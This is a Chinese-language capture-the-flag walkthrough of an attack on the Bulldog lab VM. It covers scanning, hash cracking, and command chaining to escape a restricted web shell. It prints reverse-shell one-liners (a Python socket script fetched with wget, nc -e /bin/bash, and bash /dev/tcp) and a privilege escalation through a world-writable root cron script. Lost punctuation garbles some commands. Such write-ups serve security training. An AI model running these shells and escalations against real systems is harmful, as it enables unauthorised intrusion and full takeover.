前言这个靶机在vmware安装后无法被扫描到ip。参照上一篇前言的方法修改靶机ip地址为静态192.168.152.129。一、信息收集1查看 kali 攻击机的 IP 地址ifconfig2查看同网段有哪些设备netdiscover -r 192.168.152.0/24Nmap 扫描端口和服务nmap -sS -sV -T4 -A -p- 192.168.152.129WSGI全称是 Web Server Gateway InterfaceWSGI 不是服务器、 python 模块、框架、API 或者任何软件只是一种规范描述 web server 如何与 web application 通信的规范。Dirb 目录爆破dirb http://192.168.152.129查看网页及源代码根据上面爆破出的目录对网页进行查看。/admin 是个管理员后台 常见的弱口令无法进入/dev 目录 网页上可以看到开发小组人员的邮箱和密码 hash 值可以发现都是用的公司的邮箱 那么邮箱里面可能就包含了开发小组人员的名字。解密常用网站 CMD5 SOMD5解密结果 alan 用户解密失败 william 用户解密失败 malik 用户解密失败 kevin 用 户解密失败 ashley 用户解密失败 nick/bulldog sarah/bulldoglover。2其他的有用信息• 网站使用的是 Django而不是 PHP并且没有使用 PHPMyAdmin 或者任何 有名的 CMS 框架• 开启了 SSH但很快就会被后续的 Web-Shell 取代并且下面给出了 Web- Shell 页面的连接二、反弹 shell使用 nick/bulldog 登录后台 http://192.168.152.129/admin 登录后台之后没有发现 什么有用的功能或信息。记得前面还有一个http://192.168.152.129/dev/shell/页面访问一下看看。根据页面的提示用户可以执行的命令只有上述的几个但是这里可以 使用将多个命令进行拼接那么就可以绕过限制。首先在 kali 攻击机上监听端口nc -lvp 12341.通过 bash(实测没有反弹成功)2.通过 python(成功反弹)1在kali机上编写 python 脚本内容如下vim python-shell.pyimport os,socket,subprocess; ssocket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((192.168.152.128,1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); psubprocess.call([/bin/bash,-i]);把python-shell.py 放在kali机桌面上以便后续操作。2在 kali 上使用 python 开启 HTTP 服务python3 -m http.server 803在http://192.168.152.129/dev/shell/ 页面使用 wget 下载 python 脚本pwdwget http://192.168.152.128/Desktop/python-shell.py4在 /dev/shell 页面执行脚本pwdpython python-shell.py3.通过 nc(需要靶机上安装了 nc。若无可先下载到kali机再通过wget下载到靶机)nc -e /bin/bash 192.168.152.128 12344.通过 echo(成功反弹)echo bash -i /dev/tcp/192.168.152.128/1234 01 | bash三、提权发现 home 目录下有一个 bulldogadmin那么优先查看这个目录。 结果执行 ls 命令时没有发现任何东西然后我执行了 ls -a发现了隐藏的文件夹。.hiddenadmindirectory 引起了注意接着在这个文件夹里面发现了 customPermissionApp 文件使用 file 命令查看一下这是个什么东西原来是个 ELF简单来说就是 Linux 的主要可执行文件格式。 然后就是这个目录下还有一个 note 文件是一些提示信息。后面就执行了 strings 命令。strings customPermissionApp神奇的是红框的地方SUPERultimatePASSWORDyouCANTget就是 django 账户的密码。SSH 登录确认一下。ssh -p 23 django192.168.152.1291第一种权限提升的方式查看 django 用户可以执行哪些命令id sudo -l我们可以看到 django 用户可以执行所有的命令于是我们通过执行以下命令切换 到 root 账户sudo su -2. 第二种权限提升的方式用了一个 Github 上的一个权限提升检查的脚本用以查看靶机上有哪些对权限提 升有帮助的东西linuxprivchecker.py。这个脚本可以做什么1枚举系统的基本信息2查找具有全局可写属性的文件3查找错误的配 置文件4查找明文密码5查找系统存在的可利用漏洞运行 linuxprivchecker 脚本看到了几个使用 root 权限执行的计划任务。这里从kali机下载curl -O http://192.168.152.128:8081/linuxprivchecker.py运行脚本python linuxprivchecker.py -w -o linuxprivchecker.log然后我们使用 cat 命令挨个查看几个计划任务发现 runAV 每分钟执行一次名叫 AVApplication.py 的 python 脚本。cat runAV并且这个脚本是全局用户可写的那么接下来的思路就是编辑这个脚本然后反弹 shell因为通过这种方式反弹 过来的 shell 是具有 root 权限的。vim /.hiddenAVDirectory/AVApplication.py在kali机上执行以下代码nc -nlvp 1234等待一分钟后id pwd ls cat congrats.txt